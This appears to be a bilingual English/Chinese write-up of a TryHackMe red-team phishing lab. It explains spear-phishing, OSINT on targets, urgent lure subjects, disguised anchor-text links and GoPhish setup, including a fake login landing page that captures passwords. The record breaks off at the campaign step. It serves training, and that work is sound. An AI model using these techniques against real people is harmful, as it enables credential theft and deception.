&lt;p&gt;A term you&amp;#39;ll come across and the type of phishing campaign a red team would participate in is &lt;strong&gt;&lt;u&gt;spear-phishing&lt;/u&gt;****,&lt;/strong&gt; as with throwing a physical spear; you&amp;#39;d have a target to aim at, the same can be said with spear-phishing in that you&amp;#39;re targeting an individual, business or organisation rather than just anybody as mass. This is an effective form of phishing for a red team engagement as they are bespoke to the target it makes them hard to detect by technology such as spam filters, antivirus and firewalls.&lt;br&gt;您会遇到的一个术语以及红队将参与的网络钓鱼活动类型是鱼叉式网络钓鱼，就像投掷物理鱼叉一样;你会有一个目标，鱼叉式网络钓鱼也是如此，因为你的目标是个人、企业或组织，而不仅仅是任何人。对于红队参与来说，这是一种有效的网络钓鱼形式，因为它们是为目标定制的，这使得它们很难被垃圾邮件过滤器、防病毒软件和防火墙等技术检测到。  &lt;/p&gt;
&lt;p&gt;A red team could be contracted to solely carry out a phishing assessment to see whether a business is vulnerable to this type of attack or can also be part of a broader scale assessment and used to gain access to computer systems or services.&lt;br&gt;可以与红队签订合同，专门进行网络钓鱼评估，以查看企业是否容易受到此类攻击，或者也可以成为更广泛评估的一部分，并用于访问计算机系统或服务。&lt;/p&gt;
&lt;p&gt;Some other methods of phishing through other mediums are smishing which is phishing through SMS messages, and vishing which is performed through phone calls.&lt;br&gt;通过其他媒介进行网络钓鱼的其他一些方法是通过短信钓鱼，以及通过电话执行的网络钓鱼。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example Scenario:&lt;/strong&gt;** **&lt;strong&gt;示例场景：&lt;/strong&gt;  &lt;/p&gt;
&lt;p&gt;The below example scenario shows how an employee of a company could be tricked into revealing their credentials.&lt;br&gt;下面的示例场景显示了如何诱骗公司员工泄露其凭据。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;The attacker locates the physical location of the target business.&lt;br&gt;1）攻击者定位目标企业的物理位置。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The attacker then looks for nearby food suppliers and discovers a company called &lt;strong&gt;Ultimate Cookies!&lt;/strong&gt;&lt;br&gt;2）攻击者随后寻找附近的食品供应商，并发现了一家名为Ultimate Cookies的公司！  &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The Attacker registers the domain name &lt;strong&gt;ultimate-cookies.thm&lt;/strong&gt;&lt;br&gt;3）攻击者注册域名ultimate-cookies.thm&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The attacker then crafts an email to their target, tempting them with an offer of receiving some free cookies if they sign up to the website. Because the victim has heard of this local company, they are more likely to trust it.&lt;br&gt;4） 然后，攻击者会向他们的目标发送一封电子邮件，如果他们注册该网站，就会收到一些免费 cookie。因为受害者听说过这家当地公司，所以他们更有可能信任它。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The victim then follows the link in the email to the fake website created by the attacker and registers online. To keep things simple, the victim reuses the same password for all their online accounts.&lt;br&gt;5） 然后，受害者按照电子邮件中的链接访问攻击者创建的虚假网站并在线注册。为简单起见，受害者对其所有在线帐户重复使用相同的密码。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The attacker now has the victim&amp;#39;s email address and password and can log onto the victim&amp;#39;s company email account. The attacker could now have access to private company information and also have somewhere to launch another phishing attack against other employees.&lt;br&gt;6）攻击者现在拥有受害者的电子邮件地址和密码，可以登录受害者的公司电子邮件帐户。攻击者现在可以访问私人公司信息，也可以在某个地方对其他员工发起另一次网络钓鱼攻击。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Phishing-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Next, you&amp;#39;ll learn what goes on in setting up the infrastructure for a red team phishing campaign.&lt;br&gt;接下来，您将了解为红队网络钓鱼活动设置基础结构的过程。&lt;/p&gt;
&lt;h2&gt;答题&lt;/h2&gt;
&lt;h4&gt;What type of psychological manipulation is phishing part of?&lt;/h4&gt;
&lt;p&gt;网络钓鱼属于哪种类型的心理操纵？&lt;/p&gt;
&lt;p&gt;social engineering&lt;/p&gt;
&lt;h4&gt;What type of phishing campaign do red teams get involved in?&lt;/h4&gt;
&lt;p&gt;红队参与什么类型的网络钓鱼活动？
spear-phishing&lt;/p&gt;
&lt;h1&gt;Writing Convincing Phishing Emails&lt;/h1&gt;
&lt;p&gt;We have three things to work with regarding phishing emails: the sender&amp;#39;s email address, the subject and the content.&lt;br&gt;关于网络钓鱼电子邮件，我们有三件事要处理：发件人的电子邮件地址、主题和内容。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Senders Address:&lt;/strong&gt;** **&lt;strong&gt;发件人地址：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ideally, the sender&amp;#39;s address would be from a domain name that spoofs a significant brand, a known contact, or a coworker. See the Choosing A &lt;u&gt;Phishing&lt;/u&gt; Domain task below for more information on this.&lt;br&gt;理想情况下，发件人的地址应来自欺骗重要品牌、已知联系人或同事的域名。有关详细信息，请参阅下面的“选择网络钓鱼域”任务。&lt;/p&gt;
&lt;p&gt;To find what brands or people a victim interacts with, you can employ &lt;u&gt;OSINT&lt;/u&gt; (Open Source Intelligence) tactics. For example:&lt;br&gt;要查找受害者与哪些品牌或人员互动，您可以采用 OSINT（开源情报）策略。例如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Observe their social media account for any brands or friends they talk to.&lt;br&gt;观察他们的社交媒体帐户，了解与他们交谈的任何品牌或朋友。&lt;/li&gt;
&lt;li&gt;Searching Google for the victim&amp;#39;s name and rough location for any reviews the victim may have left about local businesses or brands.&lt;br&gt;在 Google 上搜索受害者的姓名和大致位置，了解受害者可能留下的有关当地企业或品牌的任何评论。&lt;/li&gt;
&lt;li&gt;Looking at the victim&amp;#39;s business website to find suppliers.&lt;br&gt;查看受害者的商业网站以查找供应商。&lt;/li&gt;
&lt;li&gt;Looking at LinkedIn to find coworkers of the victim.&lt;br&gt;查看LinkedIn以查找受害者的同事。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;The Subject:&lt;/strong&gt;** **&lt;strong&gt;主题：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You should set the subject to something quite urgent, worrying, or piques the victim&amp;#39;s curiosity, so they do not ignore it and act on it quickly.&lt;br&gt;你应该把话题放在一些非常紧急、令人担忧的事情上，或者激起受害者的好奇心，这样他们就不会忽视它并迅速采取行动。&lt;/p&gt;
&lt;p&gt;Examples of this could be:&lt;br&gt;这方面的例子可以是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Your account has been compromised.&lt;br&gt;您的帐户已被盗用。&lt;/li&gt;
&lt;li&gt;Your package has been dispatched/shipped.&lt;br&gt;您的包裹已发货/发货。&lt;/li&gt;
&lt;li&gt;Staff payroll information (do not forward!)&lt;br&gt;员工工资单信息（请勿转发！&lt;/li&gt;
&lt;li&gt;Your photos have been published.&lt;br&gt;您的照片已发布。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;The Content:&lt;/strong&gt;** **&lt;strong&gt;内容：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If impersonating a brand or supplier, it would be pertinent to research their standard email templates and branding (style, logo&amp;#39;s images, signoffs etc.) and make your content look the same as theirs, so the victim doesn&amp;#39;t expect anything. If impersonating a contact or coworker, it could be beneficial to contact them; first, they may have some branding in their template, have a particular email signature or even something small such as how they refer to themselves, for example, someone might have the name Dorothy and their email is &lt;a href=&quot;mailto:dorothy@company.thm&quot;&gt;dorothy@company.thm&lt;/a&gt;. Still, in their signature, it might say &amp;quot;Best Regards, Dot&amp;quot;. Learning these somewhat small things can sometimes have quite dramatic psychological effects on the victim and convince them more to open and act on the email.&lt;br&gt;如果冒充品牌或供应商，研究他们的标准电子邮件模板和品牌（样式、徽标图像、签名等）并使您的内容看起来与他们的内容相同是相关的，因此受害者不会期望任何事情。如果冒充联系人或同事，与他们联系可能会有所帮助;首先，他们的模板中可能有一些品牌，有一个特定的电子邮件签名，甚至是一些小的东西，比如他们如何称呼自己，例如，某人可能有 Dorothy 这个名字，他们的电子邮件是 &lt;a href=&quot;mailto:dorothy@company.thm&quot;&gt;dorothy@company.thm&lt;/a&gt;。不过，在他们的签名中，它可能会写着“最好的问候，点”。了解这些小事有时会对受害者产生相当戏剧性的心理影响，并说服他们更多地打开电子邮件并采取行动。&lt;/p&gt;
&lt;p&gt;If you&amp;#39;ve set up a spoof website to harvest data or distribute malware, the links to this should be disguised using the &lt;a href=&quot;https://en.wikipedia.org/wiki/Anchor_text&quot;&gt;anchor text&lt;/a&gt; and changing it either to some text which says &amp;quot;Click Here&amp;quot; or changing it to a correct looking link that reflects the business you are spoofing, for example:&lt;br&gt;如果您设置了一个欺骗网站来收集数据或分发恶意软件，则应使用锚文本伪装指向此链接的链接，并将其更改为显示“单击此处”的文本，或将其更改为反映您正在欺骗的业务的正确外观链接，例如：&lt;/p&gt;
&lt;p&gt;**&lt;br&gt;****&lt;a href=&quot;http://spoofsite.thm&quot;&gt;Click Here&lt;/a&gt;**&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://spoofsite.thm&quot;&gt;https://onlinebank.thm&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Answer the questions below&lt;/h2&gt;
&lt;p&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;What tactic can be used to find brands or people a victim interacts with?&lt;br&gt;可以使用什么策略来寻找受害者与之互动的品牌或人？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot;&gt; OSINT（开源情报）策略&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What should be changed on an HTML anchor tag to disguise a link?&lt;br&gt;HTML 锚标记上应该更改哪些内容以伪装链接？&lt;/p&gt;
&lt;p&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/Anchor_text&quot;&gt;anchor text&lt;/a&gt;   锚文本  &lt;/p&gt;
&lt;h1&gt;Phishing Infrastructure&lt;/h1&gt;
&lt;p&gt;A certain amount of infrastructure will need to be put in place to launch a successful phishing campaign.&lt;br&gt;需要建立一定数量的基础设施才能成功发起网络钓鱼活动。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Domain Name:&lt;/strong&gt;** **&lt;strong&gt;域名：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You&amp;#39;ll need to register either an authentic-looking domain name or one that mimics the identity of another domain. See task 5 for details on how to create the perfect domain name.&lt;br&gt;您需要注册一个看起来很真实的域名或一个模仿另一个域名身份的域名。有关如何创建完美域名的详细信息，请参阅任务 5。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SSL/TLS Certificates:&lt;/strong&gt;** **&lt;strong&gt;SSL/TLS 证书：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Creating SSL/TLS certificates for your chosen domain name will add an extra layer of authenticity to the attack.&lt;br&gt;为您选择的域名创建 SSL/TLS 证书将为攻击增加一层额外的真实性。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Email Server/Account:&lt;/strong&gt;** **&lt;strong&gt;电子邮件服务器/帐户：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You&amp;#39;ll need to either set up an email server or register with an &lt;u&gt;SMTP&lt;/u&gt; email provider.&lt;br&gt;您需要设置电子邮件服务器或向 SMTP 电子邮件提供商注册。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;DNS&lt;/u&gt;&lt;/strong&gt;** &lt;strong&gt;&lt;strong&gt;Records:&lt;/strong&gt;&lt;/strong&gt; **&lt;strong&gt;DNS 记录：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Setting up DNS Records such as SPF, DKIM, DMARC will improve the deliverability of your emails and make sure they&amp;#39;re getting into the inbox rather than the spam folder.&lt;br&gt;设置 SPF、DKIM、DMARC 等 DNS 记录将提高电子邮件的送达率，并确保它们进入收件箱而不是垃圾邮件文件夹。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Web Server:&lt;/strong&gt;** **&lt;strong&gt;网页服务器：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You&amp;#39;ll need to set up webservers or purchase web hosting from a company to host your phishing websites. Adding SSL/TLS to the websites will give them an extra layer of authenticity.&lt;br&gt;您需要设置网络服务器或从公司购买网络托管来托管您的网络钓鱼网站。将SSL / TLS添加到网站将为其提供额外的真实性。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Analytics:&lt;/strong&gt;** **&lt;strong&gt;分析学：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When a phishing campaign is part of a red team engagement, keeping analytics information is more important. You&amp;#39;ll need something to keep track of the emails that have been sent, opened or clicked. You&amp;#39;ll also need to combine it with information from your phishing websites for which users have supplied personal information or downloaded software.&lt;br&gt;当网络钓鱼活动是红队参与的一部分时，保留分析信息更为重要。您需要一些东西来跟踪已发送、打开或单击的电子邮件。您还需要将其与用户提供个人信息或下载软件的网络钓鱼网站中的信息相结合。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Automation And Useful Software:&lt;/strong&gt;**&lt;br&gt;**&lt;strong&gt;自动化和有用的软件：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Some of the above infrastructures can be quickly automated by using the below tools.&lt;br&gt;使用以下工具可以快速实现上述一些基础设施的自动化。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GoPhish - (Open-Source Phishing Framework) -&lt;/strong&gt;** &lt;strong&gt;&lt;a href=&quot;https://getgophish.com/&quot;&gt;getgophish.com&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&lt;strong&gt;&lt;strong&gt;GoPhish -（开源网络钓鱼框架）-getgophish.com&lt;/strong&gt;&lt;/strong&gt;&lt;br&gt;**&lt;/p&gt;
&lt;p&gt;GoPhish is a web-based framework to make setting up phishing campaigns more straightforward. GoPhish allows you to store your &lt;u&gt;SMTP&lt;/u&gt; server settings for sending emails, has a web-based tool for creating email templates using a simple WYSIWYG (What You See Is What You Get) editor. You can also schedule when emails are sent and have an analytics dashboard that shows how many emails have been sent, opened or clicked.&lt;br&gt;GoPhish 是一个基于 Web 的框架，可使设置网络钓鱼活动更加简单。GoPhish允许您存储用于发送电子邮件的SMTP服务器设置，具有基于Web的工具，用于使用简单的WYSIWYG（所见即所得）编辑器创建电子邮件模板。您还可以安排电子邮件的发送时间，并有一个分析仪表板，显示已发送、打开或点击的电子邮件数量。&lt;/p&gt;
&lt;p&gt;The Next task will talk you through how to launch a phishing campaign using this software.&lt;br&gt;下一个任务将向您介绍如何使用此软件发起网络钓鱼活动。  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SET - (Social Engineering Toolkit) -&lt;/strong&gt;** &lt;strong&gt;&lt;a href=&quot;https://www.trustedsec.com/tools/the-social-engineer-toolkit-set/&quot;&gt;trustedsec.com&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&lt;strong&gt;&lt;strong&gt;SET - （社会工程工具包） - trustedsec.com&lt;/strong&gt;&lt;/strong&gt;&lt;br&gt;**&lt;/p&gt;
&lt;p&gt;The Social Engineering Toolkit contains a multitude of tools, but some of the important ones for phishing are the ability to create &lt;u&gt;spear-phishing&lt;/u&gt; attacks and deploy fake versions of common websites to trick victims into entering their credentials.&lt;br&gt;社会工程工具包包含多种工具，但网络钓鱼的一些重要工具是能够创建鱼叉式网络钓鱼攻击并部署常见网站的虚假版本以诱骗受害者输入其凭据。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Phishing-2.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;h2&gt;Answer the questions below&lt;/h2&gt;
&lt;p&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;What part of a red team infrastructure can make a website look more authentic?&lt;br&gt;红队基础设施的哪一部分可以使网站看起来更真实？&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SSL/TLS Certificates:&lt;/strong&gt;** **&lt;strong&gt;SSL/TLS 证书：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;**&lt;br&gt;**** **What protocol has TXT records that can improve email deliverability?&lt;br&gt;TXT记录的哪些协议可以提高电子邮件的送达率？&lt;/p&gt;
&lt;p&gt;DNS&lt;/p&gt;
&lt;p&gt;What tool can automate a phishing campaign and include analytics?&lt;br&gt;什么工具可以自动执行网络钓鱼活动并包含分析？&lt;/p&gt;
&lt;p&gt;GoPhish&lt;/p&gt;
&lt;h1&gt;Using GoPhish&lt;/h1&gt;
&lt;p&gt;This task will take you through setting up GoPhish, sending a phishing campaign and capturing user credentials from a spoof website.&lt;br&gt;此任务将引导您完成设置GoPhish，发送网络钓鱼活动以及从欺骗网站捕获用户凭据。  &lt;/p&gt;
&lt;p&gt;Firstly launch the virtual machine by clicking the green &lt;strong&gt;Start Machine&lt;/strong&gt; button on the right; once loaded, click the following URL to open the GoPhish login page &lt;a href=&quot;https://lab_web_url.p.thmlabs.com:8443/&quot;&gt;https://LAB_WEB_URL.p.thmlabs.com:8443&lt;/a&gt;  or if you&amp;#39;re connected to the TryHackMe VPN, you can to go &lt;a href=&quot;https://machine_ip/&quot;&gt;https://MACHINE_IP&lt;/a&gt;  (if you receive an Nginx error, wait another 30 seconds and try again).&lt;br&gt;首先，通过单击右侧绿色的“启动计算机”按钮启动虚拟机;加载后，单击以下 URL 打开 GoPhish 登录页面 https：//LAB_WEB_URL.p.thmlabs.com：8443，或者如果您已连接到 TryHackMe VPN，您可以转到 https：//MACHINE_IP（如果您收到 Nginx 错误，请再等待 30 秒，然后重试）。  &lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Phishing-3.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;You should be able to log in with the username: &lt;strong&gt;admin&lt;/strong&gt; and password: &lt;strong&gt;tryhackme&lt;/strong&gt;&lt;br&gt;您应该能够使用用户名：admin和密码：tryhackme 登录&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sending Profiles:&lt;/strong&gt;** **&lt;strong&gt;发送配置文件：&lt;/strong&gt;  &lt;/p&gt;
&lt;p&gt;Sending profiles are the connection details required to actually send your Phishing emails; this is just simply an SMTP server that you have access to. Click the Sending Profiles link on the left-hand menu and then click the &amp;quot;New Profile&amp;quot; button.&lt;br&gt;发送配置文件是实际发送网络钓鱼电子邮件所需的连接详细信息;这只是您有权访问的 SMTP 服务器。单击左侧菜单上的“发送配置文件”链接，然后单击“新建配置文件”按钮。&lt;/p&gt;
&lt;p&gt;Next, add in the following information as per the screenshot below:&lt;br&gt;接下来，根据下面的屏幕截图添加以下信息：&lt;/p&gt;
&lt;p&gt;Name: &lt;strong&gt;Local Server&lt;/strong&gt; 名称：本地服务器&lt;/p&gt;
&lt;p&gt;From: &lt;strong&gt;&lt;a href=&quot;mailto:noreply@redteam.thm&quot;&gt;noreply@redteam.thm&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;来自： &lt;a href=&quot;mailto:noreply@redteam.thm&quot;&gt;noreply@redteam.thm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Host: &lt;strong&gt;127.0.0.1:25&lt;/strong&gt; 主机：127.0.0.1：25&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Phishing-4.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;Then click &lt;strong&gt;Save Profile&lt;/strong&gt;. 然后单击保存配置文件。  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Landing Pages:&lt;/strong&gt;** **&lt;strong&gt;登陆页面：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Next, we&amp;#39;re going to set up the landing page; this is the website that the &lt;u&gt;Phishing&lt;/u&gt; email is going to direct the victim to; this page is usually a spoof of a website the victim is familiar with.&lt;br&gt;接下来，我们将设置登录页面;这是网络钓鱼电子邮件将引导受害者访问的网站;此页面通常是对受害者熟悉的网站的恶搞。  &lt;/p&gt;
&lt;p&gt;Click the Landing Pages link on the left-hand menu and then click the &amp;quot;New Page&amp;quot; button.&lt;br&gt;单击左侧菜单上的“登录页面”链接，然后单击“新建页面”按钮。&lt;/p&gt;
&lt;p&gt;Give the Landing Page the name &lt;strong&gt;ACME Login&lt;/strong&gt;, next in the HTML box; you&amp;#39;ll need to press the &lt;strong&gt;Source&lt;/strong&gt; button to allow us to enter the HTML code as shown below:&lt;br&gt;将登陆页面命名为 ACME 登录名，在 HTML 框中紧随其后;您需要按“源”按钮以允许我们输入 HTML 代码，如下所示：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;
    &amp;lt;title&amp;gt;ACME IT SUPPORT - Admin Panel&amp;lt;/title&amp;gt;
    &amp;lt;style&amp;gt;
        body { font-family: &amp;quot;Ubuntu&amp;quot;, monospace; text-align: center }
        div.login-form { margin:auto; width:300px; border:1px solid #ececec; padding:10px;text-align: left;font-size:13px;}
        div.login-form div input { margin-bottom:7px;}
        div.login-form input { width:280px;}
        div.login-form div:last-child { text-align: center; }
        div.login-form div:last-child input { width:100px;}
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h2&amp;gt;ACME IT SUPPORT&amp;lt;/h2&amp;gt;
    &amp;lt;h3&amp;gt;Admin Panel&amp;lt;/h3&amp;gt;
    &amp;lt;form method=&amp;quot;post&amp;quot;&amp;gt;
        &amp;lt;div class=&amp;quot;login-form&amp;quot;&amp;gt;
            &amp;lt;div&amp;gt;Username:&amp;lt;/div&amp;gt;
            &amp;lt;div&amp;gt;&amp;lt;input name=&amp;quot;username&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
            &amp;lt;div&amp;gt;Password:&amp;lt;/div&amp;gt;
            &amp;lt;div&amp;gt;&amp;lt;input type=&amp;quot;password&amp;quot; name=&amp;quot;password&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
            &amp;lt;div&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Login&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Click the &lt;strong&gt;Source&lt;/strong&gt; button again, and you should see a login box with username and password fields as per the image below, also click the &lt;strong&gt;Capture Submitted Data&lt;/strong&gt; box and then also the &lt;strong&gt;Capture Passwords&lt;/strong&gt; box and then click the Save Page button.&lt;br&gt;再次单击“源”按钮，您应该会看到一个带有用户名和密码字段的登录框，如下图所示，同时单击“捕获提交的数据”框，然后单击“捕获密码”框，然后单击“保存页面”按钮。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Phishing-5.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Email Templates:&lt;/strong&gt;** **&lt;strong&gt;电子邮件模板：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is the design and content of the email you&amp;#39;re going to actually send to the victim; it will need to be persuasive and contain a link to your landing page to enable us to capture the victim&amp;#39;s username and password. Click the &lt;strong&gt;Email Templates&lt;/strong&gt; link on the left-hand menu and then click the &lt;strong&gt;New Template&lt;/strong&gt; button. Give the template the name &lt;strong&gt;Email 1&lt;/strong&gt;, the subject &lt;strong&gt;New Message Received&lt;/strong&gt;, click the HTML tab, and then the Source button to enable HTML editor mode. In the contents write a persuasive email that would convince the user to click the link, the link text will need to be set to &lt;a href=&quot;https://admin.acmeitsupport.thm/&quot;&gt;https://admin.acmeitsupport.thm&lt;/a&gt;, but the actual link will need to be set to &lt;strong&gt;{{.URL}}&lt;/strong&gt; which will get changed to our spoofed landing page when the email gets sent, you can do this by highlighting the link text and then clicking the link button on the top row of icons, make sure to set the &lt;strong&gt;protocol&lt;/strong&gt; dropdown to &lt;strong&gt;&lt;other&gt;&lt;/strong&gt;.&lt;br&gt;这是您实际要发送给受害者的电子邮件的设计和内容;它需要具有说服力，并包含指向您的登录页面的链接，以便我们能够捕获受害者的用户名和密码。单击左侧菜单中的“电子邮件模板”链接，然后单击“新建模板”按钮。为模板指定名称“电子邮件 1”，主题为“收到新邮件”，单击“HTML”选项卡，然后单击“源”按钮以启用 HTML 编辑器模式。在内容中，写一封有说服力的电子邮件，说服用户点击链接，链接文本需要设置为 &lt;a href=&quot;https://admin.acmeitsupport.thm%EF%BC%8C%E4%BD%86%E5%AE%9E%E9%99%85%E9%93%BE%E6%8E%A5%E9%9C%80%E8%A6%81%E8%AE%BE%E7%BD%AE%E4%B8%BA%7B%7B%E3%80%82URL%7D%7D%EF%BC%8C%E5%BD%93%E7%94%B5%E5%AD%90%E9%82%AE%E4%BB%B6%E5%8F%91%E9%80%81%E6%97%B6%EF%BC%8C%E5%AE%83%E5%B0%86%E6%9B%B4%E6%94%B9%E4%B8%BA%E6%88%91%E4%BB%AC%E7%9A%84%E6%AC%BA%E9%AA%97%E6%80%A7%E7%99%BB%E5%BD%95%E9%A1%B5%E9%9D%A2%EF%BC%8C%E6%82%A8%E5%8F%AF%E4%BB%A5%E9%80%9A%E8%BF%87%E7%AA%81%E5%87%BA%E6%98%BE%E7%A4%BA%E9%93%BE%E6%8E%A5%E6%96%87%E6%9C%AC%EF%BC%8C%E7%84%B6%E5%90%8E%E5%8D%95%E5%87%BB%E9%A1%B6%E9%83%A8%E5%9B%BE%E6%A0%87%E4%B8%8A%E7%9A%84%E9%93%BE%E6%8E%A5%E6%8C%89%E9%92%AE%E6%9D%A5%E6%89%A7%E8%A1%8C%E6%AD%A4%E6%93%8D%E4%BD%9C%EF%BC%8C%E7%A1%AE%E4%BF%9D%E5%B0%86%E5%8D%8F%E8%AE%AE%E4%B8%8B%E6%8B%89%E5%88%97%E8%A1%A8%E8%AE%BE%E7%BD%AE%E4%B8%BA&quot;&gt;https://admin.acmeitsupport.thm，但实际链接需要设置为{{。URL}}，当电子邮件发送时，它将更改为我们的欺骗性登录页面，您可以通过突出显示链接文本，然后单击顶部图标上的链接按钮来执行此操作，确保将协议下拉列表设置为&lt;/a&gt; &lt;other&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Phishing-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Phishing-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Your email should look similar to the screenshot below. Click &lt;strong&gt;Save Template&lt;/strong&gt; once complete.&lt;br&gt;您的电子邮件应类似于下面的屏幕截图。完成后单击保存模板。  &lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Phishing-8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Users &amp;amp; Groups&lt;/strong&gt;** **&lt;strong&gt;用户和组&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is where we can store the email addresses of our intended targets. Click the &lt;strong&gt;Users &amp;amp; Groups&lt;/strong&gt; link on the left-hand menu and then click the &lt;strong&gt;New Group&lt;/strong&gt; button. Give the group the name &lt;strong&gt;Targets&lt;/strong&gt; and then add the following email addresses:&lt;br&gt;在这里，我们可以存储预期目标的电子邮件地址。单击左侧菜单上的“用户和组”链接，然后单击“新建组”按钮。为组指定名称“目标”，然后添加以下电子邮件地址：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;mailto:martin@acmeitsupport.thm&quot;&gt;martin@acmeitsupport.thm&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;mailto:brian@acmeitsupport.thm&quot;&gt;brian@acmeitsupport.thm&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;mailto:accounts@acmeitsupport.thm&quot;&gt;accounts@acmeitsupport.thm&lt;/a&gt;  &lt;/p&gt;
&lt;p&gt;Click the &lt;strong&gt;Save Template&lt;/strong&gt; button; once completed, it should look like the below screenshot:&lt;br&gt;单击“保存模板”按钮;完成后，它应该看起来像下面的屏幕截图：  &lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Phishing-9.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Campaigns&lt;/strong&gt;** **&lt;strong&gt;活动&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now it&amp;#39;s time to send your first emails; click the &lt;strong&gt;Campaigns&lt;/strong&gt; link on the left-hand menu and then click the &lt;strong&gt;New Campaign&lt;/strong&gt; button. Set the following values for the inputs, as per the screenshot below:&lt;br&gt;现在是时候发送您的第一封电子邮件了;单击左侧菜单中的“广告系列”链接，然后单击“新建广告系列”按钮。为输入设置以下值，如下面的屏幕截图所示：&lt;/p&gt;
&lt;p&gt;Name: Campaign One 名称：战役一&lt;/p&gt;
